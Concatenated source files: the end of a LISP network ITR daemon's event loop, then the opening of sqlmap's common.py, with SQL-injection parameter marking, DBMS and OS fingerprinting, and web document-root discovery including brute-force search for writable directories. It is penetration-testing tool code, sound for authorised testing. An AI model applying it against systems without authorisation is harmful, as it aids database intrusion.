ephem_nat_sockets = [lisp_ephem_nat_socket] * 3
while (True):
try: ready_list, w, x = select.select(socket_list, [], [])
except: break
#
# Process Punt signal message from another data-plane (snabb).
#
if (lisp.lisp_ipc_data_plane and lisp_ipc_punt_socket in ready_list):
lisp.lisp_process_punt(lisp_ipc_punt_socket, lisp_send_sockets,
lisp_ephem_port)
#endif
#
# Process Map-Reply messages received on ephemeral port.
#
if (lisp_ephem_listen_socket in ready_list):
opcode, source, port, packet = lisp.lisp_receive(ephem_sockets[0],
False)
if (source == ""): break
if (lisp.lisp_is_rloc_probe_reply(packet[0])):
lisp.lprint("ITR ignoring RLOC-probe reply, using pcap")
continue
#endif
lisp.lisp_parse_packet(ephem_sockets, packet, source, port)
#endif
#
# Process Info-Reply messages received on NAT ephemeral port.
#
if (lisp_ephem_nat_socket in ready_list):
opcode, source, port, packet = lisp.lisp_receive(ephem_nat_sockets[0],
False)
if (source == ""): break
if (lisp.lisp_is_rloc_probe_reply(packet[0])):
lisp.lprint("ITR ignoring RLOC-probe reply, using pcap")
continue
#endif
probe = lisp.lisp_parse_packet(ephem_nat_sockets, packet, source, port)
#
# Info-Reply has new RTR-list, RLOC-probe the RTR RLOCs so we can
# lisp-crypto faster.
#
if (probe):
lisp_sockets = [lisp_ephem_listen_socket, lisp_ephem_listen_socket]
lisp.lisp_start_rloc_probe_timer(0, lisp_sockets)
#endif
#endif
#
# Process either commands, an IPC data-packet (for testing), or any
# protocol message on the IPC listen socket.
#
if (lisp_ipc_listen_socket in ready_list):
opcode, source, port, packet = \
lisp.lisp_receive(lisp_ipc_listen_socket, True)
if (source == ""): break
if (opcode == "command"):
if (packet == "clear"):
lisp.lisp_clear_map_cache()
continue
#endif
if (packet.find("nonce%") != -1):
lisp_itr_process_nonce_ipc(packet)
continue
#endif
lispconfig.lisp_process_command(lisp_ipc_listen_socket, opcode,
packet, "lisp-itr", [lisp_itr_commands])
elif (opcode == "api"):
lisp.lisp_process_api("lisp-itr", lisp_ipc_listen_socket, packet)
elif (opcode == "data-packet"):
lisp_itr_data_plane(packet, "ipc")
else:
if (lisp.lisp_is_rloc_probe_reply(packet[0])):
lisp.lprint("ITR ignoring RLOC-probe request, using pcap")
continue
#endif
lisp.lisp_parse_packet(lisp_send_sockets, packet, source, port)
#endif
#endif
#endwhile
lisp_itr_shutdown()
lisp.lisp_print_banner("ITR normal exit")
exit(0)
#------------------------------------------------------------------------------
|
common.py | #!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import codecs
import contextlib
import cookielib
import copy
import getpass
import hashlib
import httplib
import inspect
import json
import locale
import logging
import ntpath
import os
import posixpath
import random
import re
import socket
import string
import subprocess
import sys
import tempfile
import threading
import time
import urllib
import urllib2
import urlparse
import unicodedata
from ConfigParser import DEFAULTSECT
from ConfigParser import RawConfigParser
from StringIO import StringIO
from difflib import SequenceMatcher
from math import sqrt
from optparse import OptionValueError
from xml.dom import minidom
from xml.sax import parse
from xml.sax import SAXParseException
from extra.beep.beep import beep
from extra.cloak.cloak import decloak
from extra.safe2bin.safe2bin import safecharencode
from lib.core.bigarray import BigArray
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.convert import base64pickle
from lib.core.convert import base64unpickle
from lib.core.convert import hexdecode
from lib.core.convert import htmlunescape
from lib.core.convert import stdoutencode
from lib.core.convert import unicodeencode
from lib.core.convert import utf8encode
from lib.core.decorators import cachedmethod
from lib.core.defaults import defaults
from lib.core.dicts import DBMS_DICT
from lib.core.dicts import DEFAULT_DOC_ROOTS
from lib.core.dicts import DEPRECATED_OPTIONS
from lib.core.dicts import SQL_STATEMENTS
from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.enums import CONTENT_STATUS
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.enums import OPTION_TYPE
from lib.core.enums import OS
from lib.core.enums import PLACE
from lib.core.enums import PAYLOAD
from lib.core.enums import REFLECTIVE_COUNTER
from lib.core.enums import SORT_ORDER
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapInstallationException
from lib.core.exception import SqlmapMissingDependence
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSyntaxException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUserQuitException
from lib.core.exception import SqlmapValueException
from lib.core.log import LOGGER_HANDLER
from lib.core.optiondict import optDict
from lib.core.settings import BANNER
from lib.core.settings import BOLD_PATTERNS
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DBMS_DIRECTORY_DICT
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
from lib.core.settings import DUMMY_USER_INJECTION
from lib.core.settings import DYNAMICITY_MARK_LENGTH
from lib.core.settings import ERROR_PARSING_REGEXES
from lib.core.settings import FILE_PATH_REGEXES
from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME
from lib.core.settings import FORM_SEARCH_REGEX
from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES
from lib.core.settings import GIT_PAGE
from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN
from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
from lib.core.settings import HASHDB_MILESTONE_VALUE
from lib.core.settings import HOST_ALIASES
from lib.core.settings import IGNORE_SAVE_OPTIONS
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT
from lib.core.settings import IP_ADDRESS_REGEX
from lib.core.settings import ISSUES_PAGE
from lib.core.settings import IS_WIN
from lib.core.settings import LARGE_OUTPUT_THRESHOLD
from lib.core.settings import LOCALHOST
from lib.core.settings import MIN_ENCODED_LEN_CHECK
from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import MIN_VALID_DELAYED_RESPONSE
from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
from lib.core.settings import NULL
from lib.core.settings import PARAMETER_AMP_MARKER
from lib.core.settings import PARAMETER_SEMICOLON_MARKER
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import PLATFORM
from lib.core.settings import PRINTABLE_CHAR_REGEX
from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT
from lib.core.settings import PYVERSION
from lib.core.settings import REFERER_ALIASES
from lib.core.settings import REFLECTED_BORDER_REGEX
from lib.core.settings import REFLECTED_MAX_REGEX_PARTS
from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT
from lib.core.settings import REFLECTED_VALUE_MARKER
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
from lib.core.settings import SENSITIVE_DATA_REGEX
from lib.core.settings import SENSITIVE_OPTIONS
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import TEXT_TAG_REGEX
from lib.core.settings import TIME_STDEV_COEFF
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNKNOWN_DBMS_VERSION
from lib.core.settings import URI_QUESTION_MARKER
from lib.core.settings import URLENCODE_CHAR_LIMIT
from lib.core.settings import URLENCODE_FAILSAFE_CHARS
from lib.core.settings import USER_AGENT_ALIASES
from lib.core.settings import VERSION_STRING
from lib.core.threads import getCurrentThreadData
from lib.utils.sqlalchemy import _sqlalchemy
from thirdparty.clientform.clientform import ParseResponse
from thirdparty.clientform.clientform import ParseError
from thirdparty.colorama.initialise import init as coloramainit
from thirdparty.magic import magic
from thirdparty.odict.odict import OrderedDict
from thirdparty.termcolor.termcolor import colored
class UnicodeRawConfigParser(RawConfigParser):
"""
RawConfigParser with unicode writing support
"""
def write(self, fp):
"""
Write an .ini-format representation of the configuration state.
"""
if self._defaults:
fp.write("[%s]\n" % DEFAULTSECT)
for (key, value) in self._defaults.items():
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
fp.write("\n")
for section in self._sections:
fp.write("[%s]\n" % section)
for (key, value) in self._sections[section].items():
if key != "__name__":
if value is None:
fp.write("%s\n" % (key))
else:
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
fp.write("\n")
class Format(object):
@staticmethod
def humanize(values, chain=" or "):
return chain.join(values)
# Get methods
@staticmethod
def getDbms(versions=None):
"""
Format the back-end DBMS fingerprint value and return its
values formatted as a human readable string.
@return: detected back-end DBMS based upon fingerprint techniques.
@rtype: C{str}
"""
if versions is None and Backend.getVersionList():
versions = Backend.getVersionList()
return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filter(None, versions)))
@staticmethod
def getErrorParsedDBMSes():
"""
Parses the knowledge base htmlFp list and return its values
formatted as a human readable string.
@return: list of possible back-end DBMS based upon error messages
parsing.
@rtype: C{str}
"""
htmlParsed = None
if len(kb.htmlFp) == 0 or kb.heuristicTest != HEURISTIC_TEST.POSITIVE:
pass
elif len(kb.htmlFp) == 1:
htmlParsed = kb.htmlFp[0]
elif len(kb.htmlFp) > 1:
htmlParsed = " or ".join(kb.htmlFp)
return htmlParsed
@staticmethod
def getOs(target, info):
"""
Formats the back-end operating system fingerprint value
and return its values formatted as a human readable string.
Example of info (kb.headersFp) dictionary:
{
'distrib': set(['Ubuntu']),
'type': set(['Linux']),
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
'release': set(['8.10'])
}
Example of info (kb.bannerFp) dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
@return: detected back-end operating system based upon fingerprint
techniques.
@rtype: C{str}
"""
infoStr = ""
infoApi = {}
if info and "type" in info:
if conf.api:
infoApi["%s operating system" % target] = info
else:
infoStr += "%s operating system: %s" % (target, Format.humanize(info["type"]))
if "distrib" in info:
infoStr += " %s" % Format.humanize(info["distrib"])
if "release" in info:
infoStr += " %s" % Format.humanize(info["release"])
if "sp" in info:
infoStr += " %s" % Format.humanize(info["sp"])
if "codename" in info:
infoStr += " (%s)" % Format.humanize(info["codename"])
if "technology" in info:
if conf.api:
infoApi["web application technology"] = Format.humanize(info["technology"], ", ")
else:
infoStr += "\nweb application technology: %s" % Format.humanize(info["technology"], ", ")
if conf.api:
return infoApi
else:
return infoStr.lstrip()
class Backend:
# Set methods
@staticmethod
def setDbms(dbms):
dbms = aliasToDbmsEnum(dbms)
if dbms is None:
return None
# Little precaution, in theory this condition should always be false
elif kb.dbms is not None and kb.dbms != dbms:
warnMsg = "there appears to be a high probability that "
warnMsg += "this could be a false positive case"
logger.warn(warnMsg)
msg = "sqlmap previously fingerprinted back-end DBMS as "
msg += "%s. However now it has been fingerprinted " % kb.dbms
msg += "as %s. " % dbms
msg += "Please, specify which DBMS should be "
msg += "correct [%s (default)/%s] " % (kb.dbms, dbms)
while True:
choice = readInput(msg, default=kb.dbms)
if aliasToDbmsEnum(choice) == kb.dbms:
kb.dbmsVersion = []
kb.resolutionDbms = kb.dbms
break
elif aliasToDbmsEnum(choice) == dbms:
kb.dbms = aliasToDbmsEnum(choice)
break
else:
warnMsg = "invalid value"
logger.warn(warnMsg)
elif kb.dbms is None:
kb.dbms = aliasToDbmsEnum(dbms)
return kb.dbms
@staticmethod
def setVersion(version):
if isinstance(version, basestring):
kb.dbmsVersion = [version]
return kb.dbmsVersion
@staticmethod
def setVersionList(versionsList):
if isinstance(versionsList, list):
kb.dbmsVersion = versionsList
elif isinstance(versionsList, basestring):
Backend.setVersion(versionsList)
else:
logger.error("invalid format of versionsList")
@staticmethod
def forceDbms(dbms, sticky=False):
if not kb.stickyDBMS:
kb.forcedDbms = aliasToDbmsEnum(dbms)
kb.stickyDBMS = sticky
@staticmethod
def flushForcedDbms(force=False):
if not kb.stickyDBMS or force:
kb.forcedDbms = None
kb.stickyDBMS = False
@staticmethod
def setOs(os):
if os is None:
return None
# Little precaution, in theory this condition should always be false
elif kb.os is not None and isinstance(os, basestring) and kb.os.lower() != os.lower():
msg = "sqlmap previously fingerprinted back-end DBMS "
msg += "operating system %s. However now it has " % kb.os
msg += "been fingerprinted to be %s. " % os
msg += "Please, specify which OS is "
msg += "correct [%s (default)/%s] " % (kb.os, os)
while True:
choice = readInput(msg, default=kb.os)
if choice == kb.os:
break
elif choice == os:
kb.os = choice.capitalize()
break
else:
warnMsg = "invalid value"
logger.warn(warnMsg)
elif kb.os is None and isinstance(os, basestring):
kb.os = os.capitalize()
return kb.os
@staticmethod
def setOsVersion(version):
if version is None:
return None
elif kb.osVersion is None and isinstance(version, basestring):
kb.osVersion = version
@staticmethod
def setOsServicePack(sp):
if sp is None:
return None
elif kb.osSP is None and isinstance(sp, int):
kb.osSP = sp
@staticmethod
def setArch():
msg = "what is the back-end database management system architecture?"
msg += "\n[1] 32-bit (default)"
msg += "\n[2] 64-bit"
while True:
choice = readInput(msg, default='1')
if isinstance(choice, basestring) and choice.isdigit() and int(choice) in (1, 2):
kb.arch = 32 if int(choice) == 1 else 64
break
else:
warnMsg = "invalid value. Valid values are 1 and 2"
logger.warn(warnMsg)
return kb.arch
# Get methods
@staticmethod
def getForcedDbms():
return aliasToDbmsEnum(kb.get("forcedDbms"))
@staticmethod
def getDbms():
return aliasToDbmsEnum(kb.get("dbms"))
@staticmethod
def getErrorParsedDBMSes():
"""
Returns array with parsed DBMS names till now
This functions is called to:
1. Ask user whether or not skip specific DBMS tests in detection phase,
lib/controller/checks.py - detection phase.
2. Sort the fingerprint of the DBMS, lib/controller/handler.py -
fingerprint phase.
"""
return kb.htmlFp if kb.get("heuristicTest") == HEURISTIC_TEST.POSITIVE else []
@staticmethod
def getIdentifiedDbms():
"""
This functions is called to:
1. Sort the tests, getSortedInjectionTests() - detection phase.
2. Etc.
"""
dbms = None
if not kb:
pass
elif not kb.get("testMode") and conf.get("dbmsHandler") and getattr(conf.dbmsHandler, "_dbms", None):
dbms = conf.dbmsHandler._dbms
elif Backend.getForcedDbms() is not None:
dbms = Backend.getForcedDbms()
elif Backend.getDbms() is not None:
dbms = Backend.getDbms()
elif kb.get("injection") and kb.injection.dbms:
dbms = unArrayizeValue(kb.injection.dbms)
elif Backend.getErrorParsedDBMSes():
dbms = unArrayizeValue(Backend.getErrorParsedDBMSes())
elif conf.get("dbms"):
dbms = conf.get("dbms")
return aliasToDbmsEnum(dbms)
@staticmethod
def getVersion():
versions = filter(None, flattenValue(kb.dbmsVersion))
if not isNoneValue(versions):
return versions[0]
else:
return None
@staticmethod
def getVersionList():
versions = filter(None, flattenValue(kb.dbmsVersion))
if not isNoneValue(versions):
return versions
else:
return None
@staticmethod
def getOs():
return kb.os
@staticmethod
def getOsVersion():
return kb.osVersion
@staticmethod
def getOsServicePack():
return kb.osSP
@staticmethod
def getArch():
if kb.arch is None:
Backend.setArch()
return kb.arch
# Comparison methods
@staticmethod
def isDbms(dbms):
if not kb.get("testMode") and all((Backend.getDbms(), Backend.getIdentifiedDbms())) and Backend.getDbms() != Backend.getIdentifiedDbms():
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
@staticmethod
def isDbmsWithin(aliases):
return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
@staticmethod
def isVersion(version):
return Backend.getVersion() is not None and Backend.getVersion() == version
@staticmethod
def isVersionWithin(versionList):
if Backend.getVersionList() is None:
return False
for _ in Backend.getVersionList():
if _ != UNKNOWN_DBMS_VERSION and _ in versionList:
return True
return False
@staticmethod
def isVersionGreaterOrEqualThan(version):
return Backend.getVersion() is not None and str(Backend.getVersion()) >= str(version)
@staticmethod
def isOs(os):
return Backend.getOs() is not None and Backend.getOs().lower() == os.lower()
def paramToDict(place, parameters=None):
"""
Split the parameters into names and values, check if these parameters
are within the testable parameters and return in a dictionary.
"""
testableParameters = OrderedDict()
if place in conf.parameters and not parameters:
parameters = conf.parameters[place]
parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters)
if place == PLACE.COOKIE:
splitParams = parameters.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)
else:
splitParams = parameters.split(conf.paramDel or DEFAULT_GET_POST_DELIMITER)
for element in splitParams:
element = re.sub(r"%s(.+?)%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), r"&\g<1>;", element)
parts = element.split("=")
if len(parts) >= 2:
parameter = urldecode(parts[0].replace(" ", ""))
if not parameter:
continue
if conf.paramDel and conf.paramDel == '\n':
parts[-1] = parts[-1].rstrip()
condition = not conf.testParameter
condition |= conf.testParameter is not None and parameter in conf.testParameter
condition |= place == PLACE.COOKIE and len(intersect((PLACE.COOKIE,), conf.testParameter, True)) > 0
if condition:
testableParameters[parameter] = "=".join(parts[1:])
if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
_ = urldecode(testableParameters[parameter], convall=True)
if (_.endswith("'") and _.count("'") == 1
or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
warnMsg = "it appears that you have provided tainted parameter values "
warnMsg += "('%s') with most likely leftover " % element
warnMsg += "chars/statements from manual SQL injection test(s). "
warnMsg += "Please, always use only valid parameter values "
warnMsg += "so sqlmap could be able to run properly"
logger.warn(warnMsg)
message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] "
if not readInput(message, default='N', boolean=True):
raise SqlmapSilentQuitException
elif not _:
warnMsg = "provided value for parameter '%s' is empty. " % parameter
warnMsg += "Please, always use only valid parameter values "
warnMsg += "so sqlmap could be able to run properly"
logger.warn(warnMsg)
if place in (PLACE.POST, PLACE.GET):
for regex in (r"\A((?:<[^>]+>)+\w+)((?:<[^>]+>)+)\Z", r"\A([^\w]+.*\w+)([^\w]+)\Z"):
match = re.search(regex, testableParameters[parameter])
if match:
try:
candidates = OrderedDict()
def walk(head, current=None):
if current is None:
current = head
if isListLike(current):
for _ in current:
walk(head, _)
elif isinstance(current, dict):
for key in current.keys():
value = current[key]
if isinstance(value, (list, tuple, set, dict)):
if value:
walk(head, value)
elif isinstance(value, (bool, int, float, basestring)):
original = current[key]
if isinstance(value, bool):
current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
else:
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
candidates["%s (%s)" % (parameter, key)] = re.sub("(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
current[key] = original
deserialized = json.loads(testableParameters[parameter])
walk(deserialized)
if candidates:
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
message += "is JSON deserializable. Do you want to inject inside? [y/N] "
if not readInput(message, default='N', boolean=True):
del testableParameters[parameter]
testableParameters.update(candidates)
break
except (KeyboardInterrupt, SqlmapUserQuitException):
raise
except Exception:
pass
_ = re.sub(regex, "\g<1>%s\g<%d>" % (CUSTOM_INJECTION_MARK_CHAR, len(match.groups())), testableParameters[parameter])
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_)
if readInput(message, default='N', boolean=True):
testableParameters[parameter] = re.sub(regex, "\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])
break
if conf.testParameter:
if not testableParameters:
paramStr = ", ".join(test for test in conf.testParameter)
if len(conf.testParameter) > 1:
warnMsg = "provided parameters '%s' " % paramStr
warnMsg += "are not inside the %s" % place
logger.warn(warnMsg)
else:
parameter = conf.testParameter[0]
if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True):
debugMsg = "provided parameter '%s' " % paramStr
debugMsg += "is not inside the %s" % place
logger.debug(debugMsg)
elif len(conf.testParameter) != len(testableParameters.keys()):
for parameter in conf.testParameter:
if parameter not in testableParameters:
debugMsg = "provided parameter '%s' " % parameter
debugMsg += "is not inside the %s" % place
logger.debug(debugMsg)
if testableParameters:
for parameter, value in testableParameters.items():
if value and not value.isdigit():
for encoding in ("hex", "base64"):
try:
decoded = value.decode(encoding)
if len(decoded) > MIN_ENCODED_LEN_CHECK and all(_ in string.printable for _ in decoded):
warnMsg = "provided parameter '%s' " % parameter
warnMsg += "appears to be '%s' encoded" % encoding
logger.warn(warnMsg)
break
except:
pass
return testableParameters
def getManualDirectories():
directories = None
defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX])
if kb.absFilePaths:
for absFilePath in kb.absFilePaths:
if directories:
break
if directoryPath(absFilePath) == '/':
continue
absFilePath = normalizePath(absFilePath)
windowsDriveLetter = None
if isWindowsDriveLetterPath(absFilePath):
windowsDriveLetter, absFilePath = absFilePath[:2], absFilePath[2:]
absFilePath = ntToPosixSlashes(posixToNtSlashes(absFilePath))
for _ in list(GENERIC_DOC_ROOT_DIRECTORY_NAMES) + [conf.hostname]:
_ = "/%s/" % _
if _ in absFilePath:
directories = "%s%s" % (absFilePath.split(_)[0], _)
break
if not directories and conf.path.strip('/') and conf.path in absFilePath:
directories = absFilePath.split(conf.path)[0]
if directories and windowsDriveLetter:
directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))
directories = normalizePath(directories)
if conf.webRoot:
directories = [conf.webRoot]
infoMsg = "using '%s' as web server document root" % conf.webRoot
logger.info(infoMsg)
elif directories:
infoMsg = "retrieved the web server document root: '%s'" % directories
logger.info(infoMsg)
else:
warnMsg = "unable to automatically retrieve the web server "
warnMsg += "document root"
logger.warn(warnMsg)
directories = []
message = "what do you want to use for writable directory?\n"
message += "[1] common location(s) ('%s') (default)\n" % ", ".join(root for root in defaultDocRoot)
message += "[2] custom location(s)\n"
message += "[3] custom directory list file\n"
message += "[4] brute force search"
choice = readInput(message, default='1')
if choice == '2':
message = "please provide a comma separate list of absolute directory paths: "
directories = readInput(message, default="").split(',')
elif choice == '3':
message = "what's the list file location?\n"
listPath = readInput(message, default="")
checkFile(listPath)
directories = getFileItems(listPath)
elif choice == '4':
targets = set([conf.hostname])
_ = conf.hostname.split('.')
if _[0] == "www":
targets.add('.'.join(_[1:]))
targets.add('.'.join(_[1:-1]))
else:
targets.add('.'.join(_[:-1]))
targets = filter(None, targets)
for prefix in BRUTE_DOC_ROOT_PREFIXES.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]):
if BRUTE_DOC_ROOT_TARGET_MARK in prefix and re.match(IP_ADDRESS_REGEX, conf.hostname):
continue
for suffix in BRUTE_DOC_ROOT_SUFFIXES:
for target in targets:
if not prefix.endswith("/%s" % suffix):
item = "%s/%s" % (prefix, suffix)
else:
item = prefix
item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/')
if item not in directories:
directories.append(item)
if BRUTE_DOC_ROOT_TARGET_MARK not in prefix:
break
infoMsg = "using generated directory list: %s" % ','.join(directories)
logger.info(infoMsg)
msg = "use any additional custom directories [Enter for None]: "
answer = readInput(msg)
if answer:
directories.extend(answer.split(','))
else:
directories = defaultDocRoot
return directories
def getAutoDirectories():
retVal = set()
if kb.absFilePaths:
infoMsg = "retrieved web server absolute paths: "
infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths)
logger.info(infoMsg)
for absFilePath in kb.absFilePaths:
if absFilePath:
directory = directoryPath(absFilePath)
directory = ntToPosixSlashes(directory)
retVal.add(directory)
else:
warnMsg = "unable to automatically parse any web server path"
logger.warn(warnMsg)
return list(retVal)
def filePathToSafeString(filePath):
"""
Returns string representation of a given filepath safe for a single filename usage
>>> filePathToSafeString('C:/Windows/system32')
'C__Windows_system32'
"""
retVal = filePath.replace("/", "_").replace("\\", "_")
retVal = retVal.replace(" ", "_").replace(":", "_")
return retVal
def singleTimeDebugMessage(message):
singleTimeLogMessage(message, logging.DEBUG)
def singleTimeWarnMessage(message):
singleTimeLogMessage(message, logging.WARN)
def singleTimeLogMessage(message, level=logging.INFO, flag=None):
if flag is None:
flag = hash(message)
if not conf.smokeTest and flag not in kb.singleLogFlags:
kb.singleLogFlags.add(flag)
logger.log(level, message)
def boldifyMessage(message):
retVal = message
if any(_ in message for _ in BOLD_PATTERNS):
retVal = setColor(message, True)
return retVal
def setColor(message, bold=False):
retVal = message
level = extractRegexResult(r"\[(?P<result>[A-Z ]+)\]", message) or kb.get("stickyLevel")
if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler
if bold:
retVal = colored(message, color=None, on_color=None, attrs=("bold",))
elif level:
level = getattr(logging, level, None) if isinstance(level, basestring) else level
_ = LOGGER_HANDLER.level_map.get(level)
if _:
background, foreground, bold = _
retVal = colored(message, color=foreground, on_color="on_%s" % background if background else None, attrs=("bold",) if bold else None)
kb.stickyLevel = level if message and message[-1] != "\n" else None
return retVal
def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
"""
Writes text to the stdout (console) stream
"""
message = ""
if not kb.get("threadException"):
if forceOutput or not getCurrentThreadData().disableStdOut:
if kb.get("multiThreadMode"):
logging._acquireLock()
if isinstance(data, unicode):
message = stdoutencode(data)
else:
message = data
try:
if conf.get("api"):
sys.stdout.write(message, status, content_type)
else:
sys.stdout.write(setColor(message, bold))
sys.stdout.flush()
except IOError:
pass
if kb.get("multiThreadMode"):
logging._releaseLock()
kb.prependFlag = isinstance(data, basestring) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n')
def dataToTrafficFile(data):
if not conf.trafficFile:
return
try:
conf.trafficFP.write(data)
conf.trafficFP.flush()
except IOError, ex:
errMsg = "something went wrong while trying "
errMsg += "to write to the traffic file '%s' ('%s')" % (conf.trafficFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
def dataToDumpFile(dumpFile, data):
try:
dumpFile.write(data)
dumpFile.flush()
except IOError, ex:
if "No space left" in getUnicode(ex):
errMsg = "no space left on output device"
logger.error(errMsg)
elif "Permission denied" in getUnicode(ex):
errMsg = "permission denied when flushing dump data"
logger.error(errMsg)
else:
raise
def dataToOutFile(filename, data):
retVal = None
if data:
while True:
retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
try:
with open(retVal, "w+b") as f: # has to stay as non-codecs because data is raw ASCII encoded data
f.write(unicodeencode(data))
except UnicodeEncodeError, ex:
_ = normalizeUnicode(filename)
if filename != _:
filename = _
else:
errMsg = "couldn't write to the "
errMsg += "output file ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg)
except IOError, ex:
errMsg = "something went wrong while trying to write "
errMsg += "to the output file ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg)
else:
break
return retVal
def readInput(message, default=None, checkBatch=True, boolean=False):
"""
Reads input from terminal
"""
retVal = None
kb.stickyLevel = None
message = getUnicode(message)
if "\n" in message:
message += "%s> " % ("\n" if message.count("\n") > 1 else "")
elif message[-1] == ']':
message += " "
if kb.get("prependFlag"):
message = "\n%s" % message
kb.prependFlag = False
if conf.get("answers"):
for item in conf.answers.split(','):
question = item.split('=')[0].strip()
answer = item.split('=')[1] if len(item.split('=')) > 1 else None
if answer and question.lower() in message.lower():
retVal = getUnicode(answer, UNICODE_ENCODING)
elif answer is None and retVal:
retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING))
if retVal:
dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=True, bold=True)
debugMsg = "used the given answer"
logger.debug(debugMsg)
if retVal is None:
if checkBatch and conf.get("batch"):
if isListLike(default):
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
elif default:
options = getUnicode(default, UNICODE_ENCODING)
else:
options = unicode()
dataToStdout("\r%s%s\n" % (message, options), forceOutput=True, bold=True)
debugMsg = "used the default behaviour, running in batch mode"
logger.debug(debugMsg)
retVal = default
else:
logging._acquireLock()
if conf.get("beep"):
beep()
dataToStdout("\r%s" % message, forceOutput=True, bold=True)
kb.prependFlag = False
try:
retVal = raw_input() or default
retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
except:
try:
time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893
except:
pass
finally:
kb.prependFlag = True
raise SqlmapUserQuitException
finally:
logging._releaseLock()
if retVal and default and isinstance(default, basestring) and len(default) == 1:
retVal = retVal.strip()
if boolean:
retVal = retVal.strip().upper() == 'Y'
return retVal
def randomRange(start=0, stop=1000, seed=None):
"""
Returns random integer value in given range
>>> random.seed(0)
>>> randomRange(1, 500)
423
"""
